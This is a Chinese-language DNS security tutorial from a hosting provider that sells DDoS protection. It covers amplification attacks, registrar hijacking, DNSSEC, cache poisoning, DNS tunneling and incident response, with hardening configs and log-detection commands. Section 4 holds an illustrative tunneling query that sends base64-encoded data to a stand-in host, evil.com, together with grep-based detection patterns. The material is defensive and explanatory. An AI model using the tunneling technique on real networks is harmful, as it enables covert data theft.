21 10 月 2026
本文由财富云计算提供,我们提供高防服务器、CDN 防护与 NAT 型云服务器,无独立公网 IP 价格比独立 IP 省一半以上,DNS 防护方案见文末。

一、DNS 为什么是攻击的「战略高地」

DNS 干的事:把 z0w.cn 翻译成 1.2.3.4。攻击它的收益:

攻击 DNS拿到什么
劫持解析用户访问你的域名 → 去到钓鱼站(偷密码)
篡改记录流量导到对手服务器
打瘫 DNS域名全国解析超时 = 站「消失」了
DNS 隧道用 DNS 包偷数据(内鬼/木马常用)

对普通站主最常遇到的是「解析被打瘫」和「备案/注册商层面的劫持」——前者买高防 DNS 解决,后者靠账号安全和锁注册商。

二、DNS 放大攻击(DDoS 的变种)

2.1 原理

和反射放大同源,但目标是 DNS 服务本身:

攻击者 → 伪造你的DNS服务器IP → 开放解析器发小查询
开放解析器 → 大响应(几十倍)→ 你的 DNS 服务器瘫痪

自建 DNS 服务器(如内网 DNS、游戏服的自建 DNS)如果开了递归解析,就可能被当跳板打别人,也可能被打。

2.2 防护

# BIND 配置:关递归(只做权威应答)
// named.conf.options
options {
    recursion no;              # 关键:不为别人做递归
    allow-transfer { none; };  # 关区域传送
    rate-limit {
        responses-per-second 20;   # 响应限速
        referrals-per-second 10;
    };
};

# 系统层:DNS 端口流量限制
iptables -A INPUT -p udp --dport 53 -m limit --limit 100/s -j ACCEPT
iptables -A INPUT -p udp --dport 53 -j DROP

给站主的建议:别自建公网 DNS——用云解析(阿里云 DNSPod/腾讯 DNSPod/Cloudflare),它们自带 DDoS 防护和 Anycast。自建 DNS 服务器的防护成本高到不值得(除非你做解析服务商)。

三、DNS 劫持(解析到错误 IP)

3.1 四种劫持路径

层级劫持方式你的对策
本地改 hosts / 恶意软件用户端的事,全站 HTTPS + HSTS 缓解
路由中间设备篡改 DNS 响应(公共 WiFi 高发)DNSSEC 验证 + HTTPS
运营商局部 DNS 污染/广告注入DNSSEC + 加密 DNS(DoH/DoT)
注册商偷走域名、改 NS 记录注册商锁 + 双因素 + 域名锁

3.2 注册商层面的劫持(最致命)

域名被转走、NS 被改到陌生服务器——你的域名彻底失控。防护:

□ 注册商账号开双因素认证(2FA,短信/ TOTP)
□ 开启「域名锁定」(registry-lock / transfer-lock,转出需人工审核)
□ 用实名认证过的邮箱(whois 邮箱是找回凭证)
□ 别用「一键注册」的小平台,选主流注册商
□ 域名到期提醒 + 自动续费(过期域名是攻击者的礼物)
□ 企业域名分散注册商(别所有域名在一家被一锅端)

真实案例:域名过期没续费 → 被抢注 → 赎回要几万 + 期间业务全停。续费这种小事,是大促预案里「T-1 检查」的一项。

3.3 DNSSEC:防篡改的密码学方案

DNSSEC 给 DNS 记录签名,解析器验证签名——篡改的响应验签失败,直接拒收:

你的 DNS 服务器用私钥给记录签名 → 公开密钥写在 DNS 里(DS 记录)
解析器拿到响应 → 用 DS 验证签名 → 篡改的(签名不对)= 拒绝

开启方法(以主流云解析为例):

  1. 解析商后台开启 DNSSEC(阿里云 DNSPod/腾讯 DNSPod 都支持一键开)
  2. 注册商处添加 DS 记录(解析商会给)
  3. 验证:dig +dnssec z0w.cn 看 RRSIG 记录

DNSSEC 的局限:它验证「记录是不是真的」,不加密(查询内容还是明文);防护效果依赖递归解析器也支持 DNSSEC 验证(国内公共 DNS 大部分已支持)。

四、DNS 隧道(数据外泄通道)

4.1 原理

木马/内鬼把数据编码进 DNS 查询里,发给攻击者控制的「伪 DNS 服务器」:

木马 → 查询 aGVsbG8gd29ybGQ.evil.com(base64 编码的数据)
     → evil.com 的 NS 是攻击者的服务器 → 解码拿到数据

一条请求几字节,一天能偷走几十 KB——足够偷密钥、令牌、小文件。防火墙通常放行 DNS(53 端口必须通),所以这道后门很难堵。

4.2 识别

# 内网 DNS 日志里的隧道特征(如果你有内网 DNS 日志)
# 1. 查询超长的域名(正常域名 < 30 字符,隧道用的子域名很长)
grep -E '[a-z0-9]{30,}\.' dns.log | head

# 2. 大量查询同一个奇怪二级域
awk '{print $2}' dns.log | awk -F. '{print $(NF-1)}' | sort | uniq -c | sort -rn | head

# 3. TXT 记录查询异常多(隧道常用 TXT 传数据)
grep -c 'IN TXT' dns.log

4.3 防护

□ 内网 DNS 只转发到可信上游(不让终端直连公网 DNS)
□ DNS 查询日志留存 + 定期审(长域名/异常域告警)
□ 出站 53 端口管控:内网终端只准问内网 DNS,禁止直连外部 DNS
□ 企业级:DNS 防火墙(按域名类别拦截,可疑域直接拒)

给游戏服主的特别提醒:游戏服的自建 DNS(如果有)别开递归——既是隧道风险也是被当跳板的风险。

五、DNS 投毒(缓存污染)

5.1 原理

Kaminsky 攻击:攻击者猜你的查询 ID 和源端口,抢在真正 DNS 响应之前,把伪造的响应塞进递归服务器的缓存——之后所有用户查这个域名都得到假 IP。

现代防护:源端口随机化(把猜测空间从 65536 扩到 65536×65536)+ 查询 ID 随机化,Kaminsky 攻击基本失效了。但老旧递归服务器和路由器仍可能中招。

5.2 防护

  • 用主流公共 DNS(223.5.5.5 / 119.29.29.29 / 8.8.8.8)——它们的随机化实现是新的
  • 自建递归服务器的,保证软件版本新(BIND 9.10+、Unbound)
  • 关键业务短 TTL(被投毒后恢复快——所以平时别把 TTL 设太长)

六、高防 DNS:解析层的防护方案

解析被打瘫时,普通 DNS 服务器(单点 IP)直接挂。高防 DNS 的方案:

Anycast 部署:同一个 IP 广播到全球几十个点
     ↓
用户查询就近到达节点(也加速)
     ↓
单个节点被打 → 其他节点照常服务(流量自动绕开故障点)
     ↓
节点自带清洗(DNS Flood / 放大攻击清洗)

什么业务需要高防 DNS:

  • 域名解析不能停的业务(电商、支付、游戏平台)
  • 常被 DNS 攻击盯上的(竞争对手恶意)
  • 有多地域用户的(Anycast 顺带加速)

主流云解析商都带基础防护,专门的高防 DNS 是付费进阶。选型看:Anycast 节点数、单节点防护带宽、SLA 承诺、是否支持 DNSSEC。

七、自查清单:DNS 安全体检

账号与注册商
□ 注册商 2FA 开启
□ 域名锁(transfer-lock)开启
□ 自动续费 + 到期提醒
□ whois 邮箱可收信(找回凭证)

解析配置
□ NS 用主流云解析(别用小平台/自建)
□ TTL 合理(平时 600,变更期 300)
□ DNSSEC 开启(解析商 + 注册商 DS 记录)
□ 无多余的废弃解析记录(老 A 记录指向已回收 IP = 埋雷)

监控
□ 解析监控(多地 ping 探测解析是否正常/被篡改)
□ 证书透明度监控(crt.sh 出现陌生证书 = 有人在搞事)
□ 域名到期监控

解析监控的最简实现:Uptime Kuma 多地点探测 + 证书到期告警(Uptime Kuma 篇),或者用免费的第三方域名监控服务。

八、被 DNS 攻击了怎么办

现象动作
解析全国超时确认是 DNS 被打瘫(dig @8.8.8.8 对比 dig @223.5.5.5),切高防 DNS 或找解析商
解析到陌生 IP改密码(注册商+解析商账号)、查 whois 变更记录、开域名锁、必要时报警
解析时好时坏多地 dig 对比,判断是局部污染还是全局——局部等恢复,全局切解析商
证书异常(监控告警)crt.sh 查陌生证书 → 域名可能被用于钓鱼 → 立即查账号安全

黄金原则:DNS 出问题先「改账号密码 + 开域名锁」——九成「DNS 劫持」其实是账号被盗。

九、内网 DNS:AdGuard Home 与分流

有内网服务(NAS、自建 DNS、开发环境)的,内网 DNS 是攻击面也是工具:

AdGuard Home 做内网 DNS(顺带去广告):

# Docker 部署(完整教程见 AdGuard 篇)
docker run -d --name adguard \
  -p 53:53/tcp -p 53:53/udp -p 3000:3000 \
  -v /opt/adguard/work:/opt/adguard/work \
  -v /opt/adguard/conf:/opt/adguard/conf \
  adguard/adguardhome

安全配置要点:

  1. 只监听内网:bind_host: 192.168.x.x,别监听 0.0.0.0——公网可达的 DNS 必被打
  2. 上游用加密 DNS:设置里配 DoH/DoT 上游(如 223.5.5.5/dns-query),防上游投毒
  3. 查询日志留存 + 定期审:隧道攻击的发现靠日志(第四节)
  4. 限速:OpenResty/DNSmasq 层限查询速率,防内网设备扫爆

分流场景(游戏服主常用):国内域名走国内 DNS、Steam 相关走国外 DNS——加速的同时,也是「用 DNS 做访问控制」的思路:把恶意域名的解析指向 0.0.0.0(黑洞),比防火墙更彻底(连连接都建立不了)。

内网 DNS 的更多玩法见AdGuard Home 实战。

十、小结

DNS 防护四件事:注册商账号安全(2FA + 域名锁 + 自动续费,防劫持)、主流云解析(自带 Anycast 和基础防护,防打瘫)、DNSSEC(密码学防篡改)、内网 DNS 管控(防隧道)。解析层攻击的特点是「打得轻、影响大」——几 G 的 DNS Flood 就能让一个域名「消失」,所以域名安全属于「平时不觉得、出事要命」的类型。把第七节的自查清单过一遍,比事后任何应急都值。


相关阅读:


本文由财富云计算整理,我们提供高防服务器、CDN 防护与 NAT 型云服务器,无独立公网 IP 机型价格比独立 IP 省一半以上,DNS 与全栈防护方案咨询。更多教程见端口速查表。
延伸阅读
  1. 高防误区与避坑清单:25 个坑+下单前必问 14 问+到货验货流程
  2. 电商大促防攻击预案:T-14 到当天的分级响应与降级开关
  3. 源站真实 IP 隐藏完全指南:六大暴露面排查+NAT 型终极方案
  4. 日志分析找攻击源:Nginx 日志三维度分析法与证据固定
  5. 攻击应急响应手册:六阶段响应流程,从确认到复盘的照做清单
  6. iptables 抗 DDoS 配置模板:状态过滤+SYN 防护+防扫描+游戏服版
  7. OpenResty Lua 自研 WAF:动态限流+攻击特征检测+Redis 黑名单
  8. Nginx 进阶防护:连接层、请求层、行为层三层生产级配置
更多阅读
  1. 上一篇:电商大促防攻击预案:T-14 到当天的分级响应与降级开关
  2. 下一篇:高防误区与避坑清单:25 个坑+下单前必问 14 问+到货验货流程
发表评论 1